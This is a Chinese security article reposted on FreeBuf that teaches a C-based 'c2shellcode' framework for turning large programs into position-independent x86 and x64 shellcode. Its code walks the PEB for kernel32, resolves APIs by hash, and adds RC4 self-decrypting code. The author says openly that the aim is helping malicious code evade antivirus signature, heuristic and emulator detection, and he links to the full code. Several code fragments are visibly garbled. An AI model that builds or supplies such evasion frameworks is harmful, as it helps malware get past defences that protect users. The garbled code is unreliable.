一 前言
本文介紹的技術(shù)在實(shí)戰(zhàn)中應(yīng)用已久,但是由于一些原因并沒(méi)有做文檔化。本文對(duì)關(guān)鍵點(diǎn)給出了代碼實(shí)現(xiàn),加入了一些筆者的新的理解。
測(cè)試代碼的目錄結(jié)構(gòu)如下:
test1: 32位 64位的shellcode和相應(yīng)的測(cè)試工具 test2: x86 c2shellcode框架 test3: dup指令占位.text段的shellcode編寫技巧 test4: 實(shí)現(xiàn)shellcode的二次SMC test5: x64 c2shellcode框架
二 功能性shellcode的概念
這是一個(gè)攻防對(duì)抗很激烈的年代,殺毒軟件的查殺技術(shù)是立體的,特征碼、云、主防、啟發(fā)、虛擬機(jī)。如果惡意代碼還只局限在必須依賴固定的PE格式,無(wú) 法快速變異和免殺。這要求惡意代碼經(jīng)過(guò)簡(jiǎn)單的處理就應(yīng)該能躲過(guò)靜態(tài)檢測(cè),不依賴于windows本身的loader可以加載運(yùn)行。而shellcode正 好符合這種形式。本文所說(shuō)的shellcode并不是傳統(tǒng)意義上對(duì)長(zhǎng)度容易產(chǎn)生苛刻要求的在漏洞利用場(chǎng)景里面使用的shellcode,而是一段可能源代 碼有幾千或者上萬(wàn)行,但是CopyMemory出來(lái)EIP指向過(guò)去之后就可以加載運(yùn)行的二進(jìn)制,稱之為功能性shellcode。很明顯,由于代碼行數(shù)或 者對(duì)于功能性的要求,使用純匯編來(lái)進(jìn)行功能性shellcode的編寫是很不劃算的。
三 高級(jí)語(yǔ)言的選擇
1 使用delphi編寫功能性shellcode
目前流行的編寫功能性shellcode的編譯器主要是delphi跟vc。簡(jiǎn)單介紹一下delphi,由于Borland編譯器的原因,編譯的時(shí) 候字符串常量不是放在數(shù)據(jù)段里面,而是放到所在函數(shù)的后面,在處理字符串的時(shí)候比VC方便了不少,并且delphi支持X64內(nèi)聯(lián)匯編,寫起X64的 shellcode更是如虎添翼。圈內(nèi)比較早的前輩如Anskya(女王) xfish一般都是用delphi來(lái)進(jìn)行功能性shellcode的編寫。
2 使用VC編寫功能性shellcode
在test1目錄中,有兩段二進(jìn)制代碼:32shellcode.bin、 64shellcode.bin。分別是兩段可以運(yùn)行于x86和x64上面的shellcode。可以打開debugview工具進(jìn)行l(wèi)og捕捉。使用下面的命令測(cè)試兩段shellcode。
32runbin.exe 32shellcode.bin
64runbin.exe 64shellcode.bin
如果是x64的系統(tǒng),32shellcode.bin也將很健壯的運(yùn)行在wow64上面。
接下來(lái)著重介紹VC編寫功能性shellcode。
四 x86 c2shellcode 框架
1 c2shellcode框架簡(jiǎn)介
這是一個(gè)使用VS2008生成的編寫32位shellcode的框架。使用它可以很方便的在shellcode中調(diào)用native api和ring3 api。在注釋掉HHL_DEBUG開關(guān)之后,運(yùn)行生成的EXE就可以生成shellcode。
我們來(lái)看一下這個(gè)工程。
void main() { #ifdef HHL_DEBUG InitApiHashToStruct(); ShellCode_Start(); #else InitApiHashToStruct(); #endif }
Main函數(shù)很簡(jiǎn)單,定義了一個(gè)調(diào)試開關(guān)。這個(gè)調(diào)試開關(guān)影響ShellData這個(gè)全局結(jié)構(gòu)體。當(dāng)注釋掉這個(gè)開關(guān),ShellData將附著在 shellcode的尾部。開啟這個(gè)開關(guān)ShellData將存在于.data段,方便使用VC的IDE對(duì)shellcode進(jìn)行C源代碼級(jí)別的調(diào)試。
2 開啟HHL_DEBUG調(diào)試開關(guān)之后的函數(shù)執(zhí)行的流程
2.1填充函數(shù)hash到ShellData結(jié)構(gòu)體當(dāng)中
首先是InitApiHashToStruct這個(gè)函數(shù)。這里是一個(gè)比較傳統(tǒng)的移位生成hash的函數(shù),可以調(diào)用GetRolHash直接傳遞字符串來(lái)進(jìn)行hash生成,也可以批量直接將hash填充到ShellData結(jié)構(gòu)體當(dāng)中。
DWORD GetRolHash(char *lpszBuffer) { DWORD dwHash = 0; while(*lpszBuffer) { dwHash = ( (dwHash <<25 ) (dwHash>>7) ); dwHash = dwHash+*lpszBuffer; lpszBuffer++; } return dwHash; }
2.2根據(jù)函數(shù)hash掃描導(dǎo)出表獲取函數(shù)地址
ShellCode_Start函數(shù)直接跳轉(zhuǎn)到ShellCodeEntry并且開始執(zhí)行shellcode。
__declspec(naked) void ShellCode_Start() { __asm { jmp ShellCodeEntry } }
請(qǐng)注意函數(shù)ShellCodeEntry中定義局部字符串的方式,使用IDA觀察一下。
PVOID ShellCodeEntry() { char hhl[]={'h','e','l','l','o','g','i','r','l',0}; #ifndef HHL_DEBUG DWORD offset=ReleaseRebaseShellCode(); PShellData lpData= (PShellData)(offset + (DWORD)Shellcode_Final_End); #endif GetRing3ApiAddr(); lpData->xOutputDebugStringA(hhl); return (PVOID)lpData; }
可以看到,通過(guò)這種方式定義的字符串是在.text段被通過(guò)壓棧的方式進(jìn)行的參數(shù)傳遞,而不是放在.data段。
GetRing3ApiAddr這個(gè)函數(shù)主要負(fù)責(zé)
1 通過(guò)get_k32base_peb()函數(shù)獲取到kernel32基地址。
2 通過(guò)get_ntdllbase_peb()函數(shù)獲取ntdll的基地址;蛘咧苯邮褂肔oadLibrary函數(shù)將ntdll裝載進(jìn)來(lái)也可以。
3 獲取到loadlibrary和getprocaddress函數(shù)的地址。
4 加載其他必須的模塊,如paspi advapi32等模塊獲取基地址。
5 傳遞指定函數(shù)的hash和指定模塊的基地址給Hash_GetProcAddress函數(shù),通過(guò)解析導(dǎo)出表,獲取指定函數(shù)的地址,然后填充到ShellData結(jié)構(gòu)體當(dāng)中。
__declspec(naked) DWORD get_k32base_peb() { __asm { mov eax, fs:[030h] test eax,eax js finished mov eax, [eax + 0ch] mov eax, [eax + 14h] mov eax, [eax] mov eax, [eax] mov eax, [eax + 10h] finished: ret } }
這段代碼可以在winxp – win8.1 上面比較通用的獲取kernel32的基地址。
2.3傳遞相關(guān)參數(shù),調(diào)用函數(shù)地址實(shí)現(xiàn)相應(yīng)功能。
最后調(diào)用了OutPutDebugStringA進(jìn)行一個(gè)字符串輸出的shellcode的測(cè)試。
lpData->xOutputDebugStringA(hhl);
3 屏蔽HHL_DEBUG調(diào)試開關(guān)之后的函數(shù)執(zhí)行的流程。
#ifndef HHL_DEBUG dwSize = (DWORD)Shellcode_Final_End - (DWORD)ShellCode_Start; dwShellCodeSize = dwSize + sizeof(TShellData); lpBuffer = (PUCHAR)GlobalAlloc(GMEM_FIXED,dwShellCodeSize); if(lpBuffer) { CopyMemory(lpBuffer,ShellCode_Start,dwSize); CopyMemory(lpBuffer+dwSize,&ShellData,sizeof(TShellData)); hFile = CreateFileA("GetRing3ApiAddr.bin", GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, 0); if(hFile != INVALID_HANDLE_VALUE) { if(WriteFile(hFile,lpBuffer,dwShellCodeSize,&dwBytes,NULL)) { printf("Save ShellCode Success.n"); } CloseHandle(hFile); } GlobalFree(lpBuffer); } #endif
可以看到注釋掉HHL_DEBUG開關(guān)之后我們只是將指定的內(nèi)存區(qū)域拷貝了出來(lái)。但是我們?nèi)绾未_定要拷貝哪段區(qū)域呢。
4 如何確定Shellcode的start和end
將生成的PE文件拖入到IDA當(dāng)中,可以比較明顯的看到相關(guān)二進(jìn)制代碼的起始和結(jié)束地址
只需要拷貝ShellCode_Start到InitApiHashToStruct函數(shù)結(jié)束這之間的二進(jìn)制就是所需要的shellcode。
5 c2shellcode注意點(diǎn)小結(jié)
1 涉及到的與跳轉(zhuǎn)有關(guān)的指令要確保是相對(duì)跳轉(zhuǎn), 2 字符串要避免存放在.data段。 3 要合理處理全局變量。
在c2shellcode框架里全局變量是存放在TShellData里的,然后通過(guò)重定位,使用lpData這個(gè)指針進(jìn)行索引供 shellcode進(jìn)行調(diào)用。在索引TShellData的時(shí)候需要進(jìn)行重定位,進(jìn)行重定位的函數(shù)是ReleaseRebaseShellCode。
DWORD ReleaseRebaseShellCode() { DWORD dwOffset; __asm { call GetEIP GetEIP: pop eax sub eax, offset GetEIP mov dwOffset, eax } return dwOffset; }
指針通過(guò)加上相關(guān)偏移來(lái)索引到TShellData進(jìn)行用來(lái)存儲(chǔ)shellcode的全局變量。
PShellData lpData= (PShellData)(offset + (DWORD)Shellcode_Final_End);
6 使用高級(jí)語(yǔ)言編寫shellcode的優(yōu)點(diǎn)
使用高級(jí)語(yǔ)言編寫shellcode的好處就是不需要關(guān)心堆棧平衡,并且在生成shellcode的時(shí)候可以使用編譯優(yōu)化選項(xiàng)來(lái)減少shellcode的大小。
調(diào)試的時(shí)候也擁有無(wú)比強(qiáng)大的優(yōu)勢(shì),只需要關(guān)心惡意代碼的功能實(shí)現(xiàn)就好了,無(wú)需再去關(guān)心一些瑣碎的細(xì)節(jié)。比方說(shuō)函數(shù)地址能否正確獲取等等,源代碼的可 讀性也大大增強(qiáng)。下圖展示的是加載上符號(hào)表之后在VC的IDE中進(jìn)行的基于C源代碼的shellcode調(diào)試,可以一目了然的看到結(jié)構(gòu)體中的函數(shù)地址是否 已經(jīng)被正確的填充了。
7 C call ASM 和dup指令占位text段的shellcode編寫技巧
Test2中的c2shellcode框架是把全局結(jié)構(gòu)體附著在了shellcode尾部,但這不是必須的。VC的編譯器允許asm call c 和c call asm,這個(gè)功能支持32位 和 64位平臺(tái),相關(guān)代碼在test3目錄。
.386 .model flat, c .code public AsmShellData public AsmChar public hellohhl AsmShellData proc byte 2000 dup (8) AsmShellData endp AsmChar proc byte 2000 dup (6) AsmChar endp hellohhl proc sztext db 'hellohhl',0 hellohhl endp end
這是相應(yīng)的匯編代碼。
AsmShellData中使用dup指令對(duì).text段進(jìn)行了占位,占位了2000個(gè)字節(jié)。
這里不推薦使用0進(jìn)行占位,因?yàn)檫@在obj文件鏈接的時(shí)候會(huì)額外多出一個(gè).bss段。0代表沒(méi)有初始化,.bss段專門用來(lái)存儲(chǔ)沒(méi)有初始化的數(shù)據(jù)。
可以看到ASM文件中新導(dǎo)出了幾個(gè)函數(shù)。
AsmShellData dup指令占位用來(lái)存儲(chǔ)shellcode的全局變量。 AsmChar dup指令占位用來(lái)存儲(chǔ)shellcode的全局字符串。 Hellohhl 這個(gè)函數(shù)用來(lái)對(duì)shellcode的結(jié)束做一個(gè)標(biāo)記。
注意觀察新定義了兩個(gè)宏。
#define shellcode_final_end hellohhl #define shellcode_final_start ShellCode_Start
為什么這么定義呢。載入IDA。
可以很清楚的看到shellcode的start和end。只需要將shellcode_start到hellohhl這段代碼拷貝出來(lái)就是shellcode了。
#ifndef HHL_DEBUG b1=VirtualProtect(AsmShellData,sizeof(TShellData),PAGE_EXECUTE_READWRITE,&dwOldProtect); CopyMemory(AsmShellData,&ShellData,sizeof(TShellData)); dwSize = (DWORD)shellcode_final_end - (DWORD)shellcode_final_start; lpBuffer = (PUCHAR)GlobalAlloc(GMEM_FIXED,dwSize); if(lpBuffer) { CopyMemory(lpBuffer,shellcode_final_start,dwSize); hFile = CreateFileA("hhlsh.bin", GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); if(hFile != INVALID_HANDLE_VALUE) { if(WriteFile(hFile,lpBuffer,dwSize,&dwBytes,NULL)) { printf("Save ShellCode Success.n"); } CloseHandle(hFile); } GlobalFree(lpBuffer); } #endife_Start
由于使用dup指令占位AsmShellData是位于.text段上,需要先使用VirtualProtect來(lái)改變內(nèi)存屬性,然后將全局變量拷貝進(jìn)這段空間,依然需要有重定位的代碼,只是這回將指針指向AsmShellData就可以了。
#ifndef HHL_DEBUG DWORD offset=ReleaseRebaseShellCode(); PShellData lpData= (PShellData)((DWORD)AsmShellData+offset); #endif
可以看到只分配了一次內(nèi)存,不需要再把ShellData這個(gè)結(jié)構(gòu)體拷貝到shellcode的尾部了。
8 在shellcode中實(shí)現(xiàn)多次SMC
你可能發(fā)現(xiàn),shellcode從一開始就是基于SMC技術(shù)的。一大片代碼段,存儲(chǔ)著hash,然后這片存儲(chǔ)著hash的代碼段會(huì)在運(yùn)行過(guò)程中自修改成函數(shù)地址,但是可能你對(duì)單次SMC的技術(shù)并不完全滿意。
我并不打算使用傳統(tǒng)的xor加密方式讓shellcode進(jìn)行自解密。這次我們使用標(biāo)準(zhǔn)的RC4讓shellcode自解密,這個(gè)工程在test4 目錄,你可以觀察一下如何向c2shellcode里面添加代碼。如果你愿意,可以設(shè)定一些條件寫一個(gè)循環(huán)讓shellcode進(jìn)行逐4字節(jié)解密,相信這 會(huì)提高一些逆向分析的門檻。
在shellcode_ntapi_utility.h頭文件里面我們新添加了兩個(gè)RC4加密解密的函數(shù)供shellcode調(diào)用。
我們以hellogirl為密鑰,在生成shellcode的時(shí)候直接將hash區(qū)域給加密了。
而在shellcode開始執(zhí)行的時(shí)候又逐條將hash區(qū)域解密,然后hash區(qū)域再一次進(jìn)行SMC還原成原始的API地址。
執(zhí)行runbin.exe hhlsh.bin shellcode使用RC4進(jìn)行完自解密之后 熟悉的字符串再次從debugview中輸出。
相關(guān)代碼在test4目錄,這里就不再詳細(xì)分析了。
五 x64 c2shellcode 框架
我不建議把32位的工程和64位的工程通過(guò)預(yù)處理指令混合在同一個(gè)工程里面。
64位的c2shellcode位于test5目錄當(dāng)中,與32位編寫shellcode還是有一些區(qū)別的。
我們依然從main函數(shù)開始介紹一下x64下面的c2shellcode的框架。
void main() { #ifdef HHL_DEBUG InitApiHashToStruct(); AlignRSPAndCallShEntry(); #else InitApiHashToStruct(); #endif }
InitApiHashToStruct這個(gè)函數(shù)跟32位的c2shellcode框架一樣負(fù)責(zé)填充hash到ShellData結(jié)構(gòu)體中。
而shellcode 的entry函數(shù)是一個(gè)由ASM導(dǎo)出的函數(shù)。
先來(lái)看一下asm文件里面的代碼,AlignRSPAndCallShEntry函數(shù)負(fù)責(zé)做一個(gè)16位的對(duì)齊,否則一旦調(diào)用128位的XMM寄存器,程序會(huì)Crash。在做好對(duì)齊工作之后直接開始執(zhí)行64位shellcode。
EXTRN ShellCode_Entry:PROC ;this function is in c PUBLIC AlignRSPAndCallShEntry AlignRSPAndCallShEntry PROC push rsi mov rsi, rsp and rsp, 0FFFFFFFFFFFFFFF0h sub rsp, 020h call ShellCode_Entry mov rsp, rsi pop rsi ret AlignRSPAndCallShEntry ENDP
你可以看到在AlignRSPAndCallShEntry函數(shù)中借助于ASM CALL C我們又回到了C函數(shù)ShellCode_Entry中開始執(zhí)行代碼。
PVOID ShellCode_Entry() { char hhl[]={'h','e','l','l','o','h','h','l',0}; #ifndef HHL_DEBUG PShellData lpData= (PShellData)((ULONG64)Shellcode_Final_End) #endif GetRing3ApiAddr(); lpData->xOutputDebugStringA(hhl); return (PVOID)lpData; }
64位上面我們還是需要獲取kernel32的基地址然后解析導(dǎo)出表獲取相關(guān)的函數(shù)的地址。
PUBLIC get_kernel32_peb_64 get_kernel32_peb_64 PROC mov rax,30h mov rax,gs:[rax] ; mov rax,[rax+60h] ; mov rax, [rax+18h] ; mov rax, [rax+10h] ; mov rax,[rax] ; mov rax,[rax] ; mov rax,[rax+30h] ;DllBase ret get_kernel32_peb_64 ENDP
上面的代碼可以比較通用的在X64 win7-win8.1的系統(tǒng)上面取到kernel32基地址。
在去掉HHL_DEBUG開關(guān)正式生成shellcode的時(shí)候我們依然需要重定位,由于64位處理器下面RIP相對(duì)尋址的緣故只需使用shellcode的end區(qū)域就可以確定作為全局變量的ShellData了。
PShellData lpData= (PShellData)((ULONG64)Shellcode_Final_End);
生成shellcode的時(shí)候我們只需要將指定區(qū)域的二進(jìn)制拷貝出來(lái)就是shellcode。在這里我們依然使用ShellData附著在在shellcode尾部的方法處理全局變量,如果你愿意,依然可以使用dup指令占位text段的方法來(lái)進(jìn)行全局變量的處理。
dwSize = (ULONG64)Shellcode_Final_End - (ULONG64)Shellcode_Final_Start; dwShellCodeSize = dwSize + sizeof(TShellData); lpBuffer = (PUCHAR)GlobalAlloc(GMEM_FIXED,dwShellCodeSize); if(lpBuffer) { CopyMemory(lpBuffer,Shellcode_Final_Start,dwSize); CopyMemory(lpBuffer+dwSize,&ShellData,sizeof(TShellData)); hFile = CreateFileA("64shellcode.bin", GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); if(hFile != INVALID_HANDLE_VALUE) { if(WriteFile(hFile,lpBuffer,dwShellCodeSize,&dwBytes,NULL)) { printf("Save ShellCode Success.n"); } CloseHandle(hFile); } GlobalFree(lpBuffer); }e_Final_End);
依然上IDA的截圖。
PUBLIC MyShellCodeFinalEnd MyShellCodeFinalEnd PROC xor rax,rax ret MyShellCodeFinalEnd ENDP END
可以看到位于ShellCode_Start和MyShellcodeFinalEnd之間的二進(jìn)制就是shellcode了。
六 小結(jié)
如果你能把c2shellcode看完的話,就會(huì)覺(jué)得其實(shí)c2shellcode并不是什么新奇的東西。只是借助編譯器的一些特性(比方說(shuō)內(nèi)聯(lián)匯編 dup指令占位text段)幫忙把字符串 全局變量 shellcode的start和end做了一些比較方便的處理。
什么是shellcode,代碼也好數(shù)據(jù)也好只要是與位置無(wú)關(guān)的二進(jìn)制就都是shellcode。不管你用什么編譯器,LCC也好delphi的編譯器也好,VC的編譯器也好,只要出來(lái)的二進(jìn)制與位置無(wú)關(guān)或者通過(guò)后期處理與位置無(wú)關(guān)的二進(jìn)制就是shellcode。
功能性shellcode的編寫主要還是用來(lái)對(duì)抗殺毒軟件進(jìn)行快速免殺的。
惡意代碼封裝成shellcode 對(duì)抗特征碼和云 代碼自修改技術(shù)多層SMC 對(duì)抗啟發(fā)和虛擬機(jī)和云 random代碼段和PE結(jié)構(gòu)。 對(duì)抗殺軟PE結(jié)構(gòu)查殺和云 白名單技術(shù) 對(duì)抗國(guó)外殺軟主防
1 關(guān)于多層SMC
因?yàn)榇鎯?chǔ)這API地址的hash區(qū)域(ShellData)需要經(jīng)過(guò)多次解密(密鑰)才能還原出真實(shí)的API地址。并且惡意代碼的api地址全都從 ShellData區(qū)域引出,我們可以很輕松的將密鑰寫入一個(gè)注冊(cè)表鍵值或者bin文件亦或者從網(wǎng)絡(luò)上收包來(lái)接收這個(gè)用于SMC的密鑰,殺軟的虛擬機(jī)根本 無(wú)從模擬我們惡意代碼的API調(diào)用。
2 關(guān)于random代碼段和PE結(jié)構(gòu)。
現(xiàn)有的方法如使用下面的指令。
#pragma code_seg(push,r2,".test") Some your backdoor code #pragma code_seg(pop,r2)
把自己的惡意代碼添加到一個(gè).test段中或者使用下面的合并區(qū)段的指令。
#pragma comment(linker, "/MERGE:.rdata=.data") //把rdata區(qū)段合并到data區(qū)段里 #pragma comment(linker, "/MERGE:.text=.data") //把text區(qū)段合并到data區(qū)段里 #pragma comment(linker, "/MERGE:.reloc=.data" //把reloc區(qū)段合并到data區(qū)段里
很容易就被判定PE是被人工修飾過(guò)的,會(huì)被啟發(fā)殺到PE結(jié)構(gòu)。
使用dup指令占位.text段,配合上SMC,幾乎可以控制惡意代碼的每一個(gè)字節(jié)。
七 致謝
安全這個(gè)圈子還是比較奇怪的,像wowocock,tombkeeper,heige三名前輩都是學(xué)醫(yī)出身,但是現(xiàn)在卻分屬于安全下面的三個(gè)不同的 分支領(lǐng)域win內(nèi)核,二進(jìn)制漏洞攻防,web安全。我是日語(yǔ)翻譯出身。特別感謝xfish和Sandman在我2012年獲得的第一份工作里面對(duì)我的幫 助,你們對(duì)我的幫助是很難言喻的,從那個(gè)時(shí)候我才正式進(jìn)入2進(jìn)制攻防這個(gè)領(lǐng)域吧,在我后來(lái)很多地方有所領(lǐng)悟的時(shí)候就忽然能想起你們的只言片語(yǔ)。特別感謝我 上家公司的一起共事的同事,景杰、濤哥、桐哥,總是在我請(qǐng)教問(wèn)題的時(shí)候能夠抽出時(shí)間給予我耐心的解答,祝愿濤哥和桐哥早日找到媳婦。感謝我的前 leader,一上班就換上鞋拖讓我看到了技術(shù)人員的本色。也特別感謝現(xiàn)任的leader,給創(chuàng)造了一個(gè)相對(duì)寬松的安全研究環(huán)境。
代碼鏈接:
http://pan.baidu.com/s/1pJkJhTD
[作者/天融信阿爾法實(shí)驗(yàn)室李明政,轉(zhuǎn)載須注明來(lái)自FreeBuf黑客與極客]